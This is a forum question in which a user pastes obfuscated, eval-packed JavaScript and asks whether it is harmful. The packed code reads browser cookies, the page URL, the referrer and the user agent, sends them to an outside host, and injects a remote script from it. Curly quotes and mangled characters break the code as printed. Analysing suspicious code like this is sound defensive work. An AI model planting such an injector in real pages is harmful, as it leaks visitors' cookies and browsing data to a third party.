/    Sign up×
Community /Pin to ProfileBookmark

Simple Analysis of code on what it does and whether any security flaws

Hi guys

can you let me know as to what the below code does and if has anything that can cause harm

eval(function(str, n, name, pair, func, opt_attributes) {
/**
* @param {number} i
*
@return {?}
*/
func = function(i) {
return(i < n ? “” : func(parseInt(i / n))) + ((i = i % n) > 35 ? String.fromCharCode(i + 29) : i.toString(36));
};
if (!””.replace(/^/, String)) {
for (;name–? {
opt_attributes[func(name)] = pair[name] || func(name);
}
/
**
@type {Array} */
pair = [function(timeoutKey) {
return opt_attributes[timeoutKey];
}];
/**
* @return {?}
*
/
func = function() {
return “w+”;
};
/**
@type {number} */
name = 1;
}
for (;name–? {
if (pair[name]) {
/** @type {string} *
/
str = str.replace(new RegExp(“b” + func(name) + “b”, “g”), pair[name]);
}
}
return str;
}(‘m d(){3 7=””;3 i,x,y,2=4.7.v(“;”);z(i=0;i<2.u;i++){x=2[i].n(0,2[i].k(“=”));y=2[i].n(2[i].k(“=”)+1);x=x.H(/^s+|s+$/g,””);K(x==”F”){7=E(y)}}3 b=((“h:”==4.e.D)?”h://”:”G://”);6=J(6)==”I”?”C”:6;3 j=b+”B.p.o/?t=”+6+”&q=”+f(A.e.w)+”&r=”+f(4.L)+”&a=”+15.Y+”&Z=10.12.13.16&c=”+7+”&14″+9.11(9.W()*P);3 5=4.O(“N”);5.X=”M/Q”;5.R=(j);8=4.V(“8”)[0];8.U(5)}m T(a,l){S=a}d();’, 62, 69, “||ARRcookies|var|document|dniscript|__dniPools|cookie|body|Math||dniHost||write_dni|location|escape||https||url|indexOf||function|substr|com|agcdn||||pool|length|split|href|||for|window|dni2_stage|default|protocol|unescape|_agldniv2|http|replace|undefined|typeof|if|referrer|text|script|createElement|11111111|javascript|src|__dniAction|logDNIAction|appendChild|getElementsByTagName|random|type|userAgent|ip||floor|84|128|rnd|navigator|92″.split(“|”),
0, {}));

to post a comment
JavaScript

1 Comments(s)

Copy linkTweet thisAlerts:
@shadeknightauthorSep 19.2015 — any help would be appreciated
×

Success!

Help @shadeknight spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 6.2,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @meenaratha,
tipped: article
amount: 1000 SATS,

tipper: @meenaratha,
tipped: article
amount: 1000 SATS,

tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,
)...